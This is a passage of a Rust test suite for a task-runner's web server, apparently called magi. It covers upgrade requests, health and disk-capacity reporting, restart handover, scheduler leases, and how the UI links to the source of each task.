22327 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
22328 assert_eq!(response.headers()["retry-after"], "120");
22329 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
22330 .await
22331 .unwrap();
22332 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
22333 assert!(body["error"].as_str().unwrap().contains(reason));
22334 assert_eq!(body["retry_after_secs"], 120);
22335 assert!(body["retry_at"].as_u64().is_some());
22336 for _ in 0..2 {
22337 let view = health(State(ui.clone())).await.unwrap().0;
22338 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
22339 assert_eq!(failure, body);
22340 }
22341 assert_eq!(
22342 std::fs::read(updater::progress_path(home.path())).unwrap(),
22343 before
22344 );
22345 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
22346 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
22347 let gate = ui.upgrade_gate.lock().await;
22349 assert_eq!(
22350 upgrade_post(State(ui.clone())).await.status(),
22351 StatusCode::CONFLICT
22352 );
22353 drop(gate);
22354 assert!(
22355 health(State(ui.clone()))
22356 .await
22357 .unwrap()
22358 .0
22359 .upgrade_request_error
22360 .is_some()
22361 );
22362 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
22363 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
22364 assert!(
22365 health(State(ui.clone()))
22366 .await
22367 .unwrap()
22368 .0
22369 .upgrade_request_error
22370 .is_none()
22371 );
22372 let live = ui.lock_loop().live.take().unwrap();
22373 live.stop.stop();
22374 live.handle.await.unwrap();
22375 }
22376
22377 #[tokio::test]
22378 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
22379 use crate::updater::Stage;
22380 let repo = TempDir::new().expect("repo dir");
22381 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22382 .expect("write magi.toml");
22383 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22384 for stage in [Stage::Done, Stage::Failed] {
22385 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
22386 let res = fx.post("/api/upgrade", None).await;
22387 assert_eq!(res.status, 200, "{stage:?}");
22388 }
22389 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
22391 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
22392 }
22393
22394 #[tokio::test]
22395 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
22396 let repo = TempDir::new().expect("repo dir");
22412 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22413 .expect("write magi.toml");
22414 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22415
22416 let res = fx.post("/api/upgrade", None).await;
22422 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22423 let body = res.json();
22424 assert!(body["to"].is_null(), "there was no release to move to");
22425 assert!(body["parked"].is_null(), "and nothing was parked");
22426 assert!(
22427 body["detail"]
22428 .as_str()
22429 .unwrap()
22430 .contains("nothing restarted"),
22431 "{body:?}"
22432 );
22433 }
22434
22435 async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
22436 tokio::time::timeout(Duration::from_secs(5), async {
22437 while state.lock().unwrap().in_flight {
22438 tokio::task::yield_now().await;
22439 }
22440 })
22441 .await
22442 .expect("capacity scan finished");
22443 }
22444
22445 fn disk_test_scope(home: &FsPath) -> DiskScope {
22446 DiskScope {
22447 runs: home.join("runs"),
22448 worktrees: home.join("worktrees"),
22449 cache: Some(home.join("cache")),
22450 }
22451 }
22452
22453 fn known_disk_capacity() -> DiskCapacity {
22454 DiskCapacity {
22455 free_bytes: Some(100),
22456 runs_bytes: Some(200),
22457 worktrees_bytes: Some(300),
22458 cache_bytes: Some(400),
22459 }
22460 }
22461
22462 #[tokio::test]
22463 async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
22464 let home = TempDir::new().unwrap();
22465 std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
22466 let mut ui = delta_test_ui(home.path());
22467 let state = Arc::get_mut(&mut ui).unwrap();
22468 state.repo = home.path().to_owned();
22469 state.worktrees_root = home.path().join("worktrees");
22470 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
22471 ui.monitor
22472 .worker_started
22473 .store(true, std::sync::atomic::Ordering::SeqCst);
22474 let cfg = deputy_config(&ui.repo);
22475 let scope = DiskScope::of(&ui, cfg.as_ref());
22476 let (started, reached) = tokio::sync::oneshot::channel();
22477 let (release, blocked) = std::sync::mpsc::channel();
22478 let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
22479 started.send(()).unwrap();
22480 blocked.recv().unwrap();
22481 known_disk_capacity()
22482 });
22483 assert!(cold.runs_bytes.is_none());
22484 tokio::time::timeout(Duration::from_secs(5), reached)
22485 .await
22486 .unwrap()
22487 .unwrap();
22488
22489 let requests: Vec<_> = (0..4)
22490 .map(|_| {
22491 let ui = ui.clone();
22492 tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
22493 })
22494 .collect();
22495 tokio::time::timeout(Duration::from_secs(5), async {
22496 for request in requests {
22497 let view = request.await.unwrap();
22498 let disk = serde_json::to_value(view.disk).unwrap();
22499 assert!(disk["runs_bytes"].is_null());
22500 assert!(disk["worktrees_bytes"].is_null());
22501 assert!(disk.get("free_bytes").is_none());
22502 }
22503 })
22504 .await
22505 .expect("health must return while the measurement is causally blocked");
22506 assert!(ui.monitor.disk.lock().unwrap().in_flight);
22507 assert!(
22509 ui.monitor
22510 .disk
22511 .lock()
22512 .unwrap()
22513 .capacity
22514 .runs_bytes
22515 .is_none()
22516 );
22517 release.send(()).unwrap();
22518 wait_for_disk_scan(&ui.monitor.disk).await;
22519 assert_eq!(
22520 ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
22521 Some(200)
22522 );
22523 }
22524
22525 #[tokio::test]
22526 async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
22527 let home = TempDir::new().unwrap();
22528 let scope = disk_test_scope(home.path());
22529 let state = Arc::new(Mutex::new(DiskObservation {
22530 scope: Some(scope.clone()),
22531 capacity: known_disk_capacity(),
22532 finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
22533 ..Default::default()
22534 }));
22535 let (started, reached) = tokio::sync::oneshot::channel();
22536 let (release, blocked) = std::sync::mpsc::channel();
22537 let before = DiskObservation::observe(&state, scope.clone(), move |_| {
22538 started.send(()).unwrap();
22539 blocked.recv().unwrap();
22540 DiskCapacity {
22541 runs_bytes: Some(250),
22542 ..Default::default()
22543 }
22544 });
22545 assert_eq!(before.cache_bytes, Some(400));
22546 tokio::time::timeout(Duration::from_secs(5), reached)
22547 .await
22548 .unwrap()
22549 .unwrap();
22550 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22551 for _ in 0..4 {
22552 let scans = duplicate_scans.clone();
22553 let during = DiskObservation::observe(&state, scope.clone(), move |_| {
22554 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22555 DiskCapacity::default()
22556 });
22557 assert_eq!(during.runs_bytes, Some(200));
22558 assert_eq!(during.cache_bytes, Some(400));
22559 }
22560 release.send(()).unwrap();
22561 wait_for_disk_scan(&state).await;
22562 let scans = duplicate_scans.clone();
22563 let after = DiskObservation::observe(&state, scope, move |_| {
22564 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22565 DiskCapacity::default()
22566 });
22567 wait_for_disk_scan(&state).await;
22568 assert_eq!(after.runs_bytes, Some(250));
22569 assert_eq!(after.free_bytes, Some(100));
22570 assert_eq!(after.cache_bytes, Some(400));
22571 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22572 assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
22573 }
22574
22575 #[tokio::test]
22576 async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
22577 let home = TempDir::new().unwrap();
22578 let old_scope = disk_test_scope(home.path());
22579 let mut new_scope = old_scope.clone();
22580 new_scope.cache = Some(home.path().join("replacement-cache"));
22581 let state = Arc::new(Mutex::new(DiskObservation {
22582 scope: Some(old_scope.clone()),
22583 capacity: known_disk_capacity(),
22584 ..Default::default()
22585 }));
22586 let (started, reached) = tokio::sync::oneshot::channel();
22587 let (release, blocked) = std::sync::mpsc::channel();
22588 DiskObservation::observe(&state, old_scope, move |_| {
22589 started.send(()).unwrap();
22590 blocked.recv().unwrap();
22591 known_disk_capacity()
22592 });
22593 tokio::time::timeout(Duration::from_secs(5), reached)
22594 .await
22595 .unwrap()
22596 .unwrap();
22597 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22598 let scans = duplicate_scans.clone();
22599 let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
22600 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22601 DiskCapacity::default()
22602 });
22603 assert!(changed.cache_bytes.is_none());
22604 assert!(changed.runs_bytes.is_none());
22605 release.send(()).unwrap();
22606 wait_for_disk_scan(&state).await;
22607 {
22608 let observation = state.lock().unwrap();
22609 assert!(observation.capacity.cache_bytes.is_none());
22610 assert!(observation.finished.is_none());
22611 }
22612 DiskObservation::observe(&state, new_scope.clone(), move |scope| {
22613 assert_eq!(scope, &new_scope);
22614 DiskCapacity {
22615 cache_bytes: Some(999),
22616 ..Default::default()
22617 }
22618 });
22619 wait_for_disk_scan(&state).await;
22620 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
22621 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22622 }
22623
22624 #[tokio::test]
22625 async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
22626 let home = TempDir::new().unwrap();
22627 let scope = disk_test_scope(home.path());
22628 let state = Arc::new(Mutex::new(DiskObservation {
22629 scope: Some(scope.clone()),
22630 capacity: known_disk_capacity(),
22631 ..Default::default()
22632 }));
22633 DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
22634 wait_for_disk_scan(&state).await;
22635 {
22636 let mut observation = state.lock().unwrap();
22637 assert_eq!(observation.capacity.cache_bytes, Some(400));
22638 assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
22639 observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
22640 }
22641 DiskObservation::observe(&state, scope, |_| DiskCapacity {
22642 cache_bytes: Some(450),
22643 ..Default::default()
22644 });
22645 wait_for_disk_scan(&state).await;
22646 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
22647 }
22648
22649 #[test]
22650 fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
22651 let home = TempDir::new().unwrap();
22652 assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
22653 assert_eq!(disk_capacity_size(home.path()), Some(0));
22654 std::fs::create_dir(home.path().join("nested")).unwrap();
22655 std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
22656 assert_eq!(disk_capacity_size(home.path()), Some(5));
22657 #[cfg(unix)]
22658 {
22659 assert_eq!(
22661 disk_capacity_size(&home.path().join("nested/data/child")),
22662 None
22663 );
22664 }
22665 #[cfg(unix)]
22666 {
22667 std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
22668 assert_eq!(disk_capacity_size(home.path()), Some(5));
22669 }
22670 }
22671
22672 #[tokio::test]
22673 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
22674 let repo = TempDir::new().expect("repo dir");
22679 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22680 .expect("write magi.toml");
22681 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22682
22683 let health = fx.get("/api/health").await.json();
22684 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
22685 assert_eq!(
22686 health["update"]["available"], false,
22687 "checking is off, which reads as \"unknown\", not \"none\""
22688 );
22689 assert!(health["update"]["to"].is_null());
22690 assert!(
22691 health["upgrade"].is_null(),
22692 "nothing has ever asked this deck to upgrade"
22693 );
22694 }
22695
22696 #[tokio::test]
22697 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
22698 let fx = Fixture::start().await;
22699 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
22700
22701 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22702 progress.parked_run = Some("20260905-000000-cd51".to_owned());
22703 progress.advance(crate::updater::Stage::Parking);
22704 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22705
22706 let health = fx.get("/api/health").await.json();
22707 assert_eq!(health["upgrade"]["stage"], "parking");
22708 assert_eq!(health["upgrade"]["from"], "0.5.1");
22709 assert_eq!(health["upgrade"]["to"], "0.5.2");
22710 let waiting_on = health["upgrade"]["waiting_on"]
22711 .as_str()
22712 .expect("waiting_on is set while parking a known run");
22713 assert!(waiting_on.contains("cd51"), "{waiting_on}");
22714 assert!(waiting_on.contains("implementing"), "{waiting_on}");
22715 }
22716
22717 #[tokio::test]
22718 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
22719 let fx = Fixture::start().await;
22720 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22721 progress.advance(crate::updater::Stage::Done);
22722 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22723
22724 let health = fx.get("/api/health").await.json();
22725 assert_eq!(health["upgrade"]["stage"], "done");
22726 assert!(
22727 health["upgrade"]["waiting_on"].is_null(),
22728 "nothing to wait on once it is done"
22729 );
22730 }
22731
22732 #[tokio::test]
22735 async fn the_handover_signal_wakes_one_waiter_once() {
22736 let signal = Notify::new();
22737 signal.notify_one();
22739 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
22740 .await
22741 .expect("an early signal is still seen");
22742 assert!(
22744 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
22745 .await
22746 .is_err(),
22747 "a consumed signal must not wake a second time"
22748 );
22749 let signal = std::sync::Arc::new(signal);
22751 let waiter = tokio::spawn({
22752 let signal = std::sync::Arc::clone(&signal);
22753 async move { wait_for_handover(&signal).await }
22754 });
22755 tokio::time::sleep(Duration::from_millis(20)).await;
22756 assert!(!waiter.is_finished(), "nothing was signalled yet");
22757 signal.notify_one();
22758 tokio::time::timeout(Duration::from_secs(5), waiter)
22759 .await
22760 .expect("a late signal wakes the waiter")
22761 .expect("join");
22762 }
22763
22764 #[tokio::test]
22765 async fn health_says_how_long_a_handover_has_been_stuck() {
22766 let fx = Fixture::start().await;
22767 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22768 progress.advance(crate::updater::Stage::Replaced);
22769 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
22770 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22771
22772 let health = fx.get("/api/health").await.json();
22773 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
22774 assert!(stuck >= 600, "{stuck}");
22775 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
22776 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
22777 }
22778
22779 #[tokio::test]
22780 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
22781 let home = tempfile::tempdir().expect("temp home");
22782 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22783 progress.advance(crate::updater::Stage::Parking);
22784 crate::updater::write_progress(home.path(), &progress).expect("seed");
22785 let mut again = progress.clone();
22787 again.advance(crate::updater::Stage::Replaced);
22788 crate::updater::write_progress(home.path(), &again).expect("replaced");
22789 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22790 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
22791 let after = crate::updater::read_progress(home.path()).expect("record");
22792 assert_eq!(after.stage, crate::updater::Stage::Parking);
22793 }
22794
22795 #[tokio::test]
22796 async fn health_does_not_call_a_live_parking_wait_stuck() {
22797 let fx = Fixture::start().await;
22798 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22799 progress.parked_run = Some("20260905-000000-cd51".to_owned());
22800 progress.advance(crate::updater::Stage::Parking);
22801 let hours = Duration::from_secs(3 * 3600);
22802 progress.started_at = Timestamp::now() - hours;
22803 progress.updated_at = Timestamp::now() - hours;
22804 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22805 let _lease = crate::updater::LeaseGuard::enter(
22806 fx.home.path(),
22807 Some("20260905-000000-cd51".to_owned()),
22808 );
22809
22810 let health = fx.get("/api/health").await.json();
22811 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
22812 assert!(health["upgrade"]["stuck_kind"].is_null());
22813 assert_eq!(health["upgrade"]["handover_alive"], true);
22814 let waiting_on = health["upgrade"]["waiting_on"]
22815 .as_str()
22816 .expect("waiting_on");
22817 assert!(waiting_on.contains("cd51"), "{waiting_on}");
22818 }
22819
22820 fn idle_ui(home: &TempDir) -> Ui {
22821 let runs = home.path().join("runs");
22822 std::fs::create_dir_all(&runs).expect("runs dir");
22823 Ui::new(
22824 Queue::at(home.path().join("queue")),
22825 Questions::at(home.path().join("questions")),
22826 Talks::at(home.path().join("talks")),
22827 runs,
22828 home.path().to_path_buf(),
22829 PathBuf::from("/repo/magi"),
22830 )
22831 .with_launch(launch_idle)
22832 }
22833
22834 #[tokio::test]
22835 async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
22836 let home = TempDir::new().expect("temp home");
22837 let ui = idle_ui(&home);
22838 let lease = crate::worker::try_lease(home.path(), "scheduler")
22839 .expect("scheduler lease")
22840 .expect("free");
22841 crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
22842 .expect("request stop");
22843 let error = ui
22844 .start_detached_loop()
22845 .await
22846 .expect_err("transition is still live");
22847 assert_eq!(error.status, StatusCode::CONFLICT);
22848 assert!(error.message.contains("still running or stopping"));
22849 assert_eq!(
22850 crate::worker::control(home.path(), "scheduler").unwrap(),
22851 Some(crate::worker::Control::Stop)
22852 );
22853 drop(lease);
22854 }
22855
22856 #[tokio::test]
22857 async fn handover_releases_listener_without_waiting_for_execution_leases() {
22858 let home = TempDir::new().expect("temp home");
22859 let ui = idle_ui(&home);
22860 let turns = ui
22861 .begin_talk_turn("active-chat")
22862 .expect("claim")
22863 .expect("free");
22864 let execution = crate::worker::try_lease(home.path(), "active-task")
22865 .expect("execution lease")
22866 .expect("free");
22867 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22868 .await
22869 .expect("bind loopback");
22870 let address = listener.local_addr().expect("address");
22871 let admissions = Arc::clone(&ui.admissions);
22872 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22873 let successor_started = std::sync::atomic::AtomicBool::new(false);
22874 tokio::time::timeout(
22875 Duration::from_secs(2),
22876 hand_over(home.path(), &admissions, served, || {
22877 successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
22878 Ok(1)
22879 }),
22880 )
22881 .await
22882 .expect("restart must not wait for execution")
22883 .expect("handover");
22884 assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
22885 let successor = bind_waiting(address)
22888 .await
22889 .expect("successor binds released address");
22890 assert_eq!(successor.local_addr().unwrap(), address);
22891 assert!(turns.owns(), "the chat lease survives restart");
22892 assert!(
22893 crate::worker::try_lease(home.path(), "active-task")
22894 .unwrap()
22895 .is_none()
22896 );
22897 drop(execution);
22898 drop(turns);
22899 }
22900
22901 #[tokio::test]
22902 async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
22903 let home = TempDir::new().expect("temp home");
22904 let ui = idle_ui(&home);
22905 let admission = ui.begin_admission().expect("admit send");
22906 let turn = ui
22907 .begin_talk_turn("active-chat")
22908 .expect("claim")
22909 .expect("free");
22910 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22911 .await
22912 .expect("bind loopback");
22913 let address = listener.local_addr().expect("address");
22914 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
22915 let successor_called = std::sync::atomic::AtomicBool::new(false);
22916 let handover = hand_over(home.path(), &ui.admissions, served, || {
22917 successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
22918 Ok(1)
22919 });
22920 tokio::pin!(handover);
22921 std::future::poll_fn(|cx| {
22924 assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
22925 std::task::Poll::Ready(())
22926 })
22927 .await;
22928 assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
22929 assert!(
22930 ui.begin_admission().is_err(),
22931 "new ingress cannot race the drain"
22932 );
22933 assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
22934 drop(admission);
22935 tokio::time::timeout(Duration::from_secs(2), handover)
22936 .await
22937 .expect("only publication may delay restart")
22938 .expect("handover");
22939 assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
22940 assert!(
22941 turn.owns(),
22942 "the detached chat turn is not awaited or cancelled"
22943 );
22944 assert!(
22945 ui.begin_admission().is_err(),
22946 "old accepted connections stay closed"
22947 );
22948 drop(turn);
22949 }
22950
22951 #[test]
22952 fn health_worker_metadata_never_contains_payload_or_result() {
22953 let view = WorkerView::from(crate::worker::Job {
22954 id: "job".into(),
22955 sequence: 1,
22956 kind: "service".into(),
22957 key: "maintenance".into(),
22958 payload: serde_json::json!({"env": {"TOKEN": "private"}}),
22959 generation: "generation".into(),
22960 version: Some("1.2.3".into()),
22961 status: crate::worker::Status::Running,
22962 result: Some("private diagnostics".into()),
22963 pid: Some(4242),
22964 created_at: 1,
22965 finished_at: None,
22966 });
22967 let value = serde_json::to_value(view).expect("serialize public metadata");
22968 assert_eq!(value["version"], "1.2.3");
22969 assert_eq!(value["pid"], 4242);
22970 assert!(value.get("payload").is_none());
22971 assert!(value.get("result").is_none());
22972 assert!(!value.to_string().contains("private"));
22973 }
22974
22975 #[test]
22976 fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
22977 let home = TempDir::new().expect("temp home");
22978 let ui = idle_ui(&home);
22979 std::fs::write(
22980 home.path().join("daemon.json"),
22981 serde_json::json!({
22982 "schema": 2, "pid": 4242, "worker_protocol": 1,
22983 "updated_at": Timestamp::now().to_string(), "idle": true,
22984 })
22985 .to_string(),
22986 )
22987 .expect("status");
22988 let reading = daemon::read_status(home.path());
22989 assert!(Foreign::of(reading.as_ref()).is_none());
22990 let view = ui.runtime_loop_view(reading, &[]);
22991 assert!(view.running);
22992 assert!(view.owned);
22993 }
22994
22995 #[test]
22996 fn only_an_explicit_one_requests_a_resume() {
22997 assert!(!resume_requested(None));
22998 assert!(!resume_requested(Some("0".into())));
22999 assert!(!resume_requested(Some("".into())));
23000 assert!(resume_requested(Some("1".into())));
23001 }
23002
23003 #[test]
23004 fn an_error_is_visible_from_where_the_button_is() {
23005 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
23010 ..APP_CSS.find(".alert-text").expect(".alert-text")];
23011 assert!(
23012 alert.contains("position: fixed"),
23013 "an error about the thing under your thumb has to be visible from \
23014 where your thumb is: {alert}"
23015 );
23016 assert!(
23017 alert.contains("z-index: 25"),
23018 "above the dock (20) and the run-actions FAB (15), so neither \
23019 buries it: {alert}"
23020 );
23021 assert!(
23022 alert.contains("var(--tap)"),
23023 "and clear of the dock and the home indicator: {alert}"
23024 );
23025 assert!(
23028 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
23029 "the FAB's column stays free: {alert}"
23030 );
23031 }
23032
23033 #[tokio::test]
23034 async fn an_older_attempt_says_what_replaced_it() {
23035 let fx = Fixture::start().await;
23036 let q = fx.queue();
23037 let runs = fx.runs();
23038 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23039 write_run(&runs, first, RunStatus::Stalled);
23040 write_run(&runs, second, RunStatus::Blocked);
23041
23042 let mut t = Task::new(
23043 "one task".to_owned(),
23044 "do it".to_owned(),
23045 PathBuf::from("/repo"),
23046 Source::Human,
23047 );
23048 t.runs = vec![first.to_owned(), second.to_owned()];
23049 q.put(&mut t).expect("put");
23050
23051 let rows = fx.get("/api/runs").await.json();
23055 let by = |short: &str| -> Value {
23056 rows.as_array()
23057 .unwrap()
23058 .iter()
23059 .find(|r| r["short"] == short)
23060 .cloned()
23061 .unwrap_or(Value::Null)
23062 };
23063 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
23064 assert!(
23065 by("bbbb")["superseded_by"].is_null(),
23066 "the latest attempt is not superseded by anything"
23067 );
23068 assert!(APP_JS.contains("run.superseded_by"));
23070 assert!(APP_JS.contains("Superseded by"));
23071 }
23072
23073 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
23074 let mut t = Task::new(
23075 "one task".to_owned(),
23076 "do it".to_owned(),
23077 PathBuf::from("/repo"),
23078 Source::Human,
23079 );
23080 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
23081 t.status = status;
23082 t
23083 }
23084
23085 #[test]
23086 fn source_link_picks_the_page_that_filed_the_task() {
23087 let agent = |node: &str| Source::Agent {
23088 run: "20260904-014455-ab12".to_owned(),
23089 node: node.to_owned(),
23090 };
23091 let chat = source_link(&agent("chat")).expect("chat link");
23092 assert_eq!(chat.kind, "chat");
23093 assert_eq!(chat.id, "20260904-014455-ab12");
23094 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
23095 let run = source_link(&agent("implement")).expect("run link");
23096 assert_eq!(
23097 (run.kind, run.href.as_str()),
23098 ("run", "#/runs/20260904-014455-ab12")
23099 );
23100 assert_eq!(source_link(&Source::Human), None);
23101 assert_eq!(
23102 source_link(&Source::Issue {
23103 number: 3,
23104 repo: "o/r".to_owned()
23105 }),
23106 None
23107 );
23108 let odd = source_link(&Source::Agent {
23109 run: "a b/c".to_owned(),
23110 node: "chat".to_owned(),
23111 })
23112 .expect("link");
23113 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
23114 }
23115
23116 #[test]
23117 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
23118 assert!(
23119 !APP_JS.contains("src.node === \"chat\""),
23120 "inline href rule is back"
23121 );
23122 assert!(
23123 APP_JS.matches("sourceLinkOf(").count() >= 4,
23124 "helper must serve every page"
23125 );
23126 assert!(
23127 APP_JS.matches("openChatLink(").count() >= 3,
23128 "the run page still needs its explicit chat link"
23129 );
23130 assert!(
23131 !APP_JS.contains("const openChat = el("),
23132 "the Queue card duplicates its source label link again"
23133 );
23134 assert!(
23135 APP_JS.contains("metaKids.push(link ? el(\"a\""),
23136 "the task page must link a chat source label too"
23137 );
23138 }
23139
23140 #[test]
23141 fn task_ref_carries_the_source_link_for_a_chat_task() {
23142 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23143 t.source = Source::Agent {
23144 run: "20260904-014455-ab12".to_owned(),
23145 node: "chat".to_owned(),
23146 };
23147 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
23148 let v = serde_json::to_value(&out).expect("json");
23149 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
23150 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
23151 assert_eq!(v["source_label"], t.source.label());
23152
23153 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23154 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
23155 .expect("json");
23156 assert!(v["source_link"].is_null(), "{v}");
23157 }
23158
23159 #[test]
23160 fn task_view_serializes_source_link() {
23161 let mut t = Task::new(
23162 "t".to_owned(),
23163 "t".to_owned(),
23164 PathBuf::from("/repo"),
23165 Source::Agent {
23166 run: "20260901-000000-aaaa".to_owned(),
23167 node: "implement".to_owned(),
23168 },
23169 );
23170 t.runs.clear();
23171 let v = serde_json::to_value(TaskView::from(t)).expect("json");
23172 assert_eq!(v["source_link"]["kind"], "run", "{v}");
23173 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
23174 }
23175
23176 #[test]
23177 fn task_view_serializes_urgent_flag() {
23178 let mut t = Task::new(
23179 "t".to_owned(),
23180 "t".to_owned(),
23181 PathBuf::from("/repo"),
23182 Source::Human,
23183 );
23184 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
23185 assert_eq!(v["urgent"], false, "{v}");
23186 t.urgent = true;
23187 let v = serde_json::to_value(TaskView::from(t)).expect("json");
23188 assert_eq!(v["urgent"], true, "{v}");
23189 assert!(APP_JS.contains("task.urgent === true"));
23190 }
23191
23192 #[tokio::test]
23193 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
23194 let fx = Fixture::start().await;
23195 let runs = fx.runs();
23196 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23197 write_run(&runs, old, RunStatus::Blocked);
23198 write_run(&runs, new, RunStatus::Merged);
23199 let mut t = outcome_task(&[old, new], TaskStatus::Done);
23200 fx.queue().put(&mut t).expect("put");
23201
23202 let view = fx.get(&format!("/api/runs/{old}")).await.json();
23203 let task = &view["task"];
23204 assert_eq!(task["status"], "done");
23205 assert_eq!(task["is_latest"], false);
23206 assert_eq!(task["latest"]["short"], "bbbb");
23207 assert_eq!(task["finished_by"]["id"], new);
23208 assert_eq!(task["finished_by"]["outcome"], "merged");
23209 assert_eq!(task["closed_by_hand"], false);
23210 assert_eq!(view["status"], "blocked", "the run keeps its own status");
23211 assert!(APP_JS.contains("finished_by"));
23212 assert!(APP_JS.contains("superseded by run"));
23213 }
23214
23215 #[tokio::test]
23216 async fn the_latest_run_reports_a_held_task_without_a_successor() {
23217 let fx = Fixture::start().await;
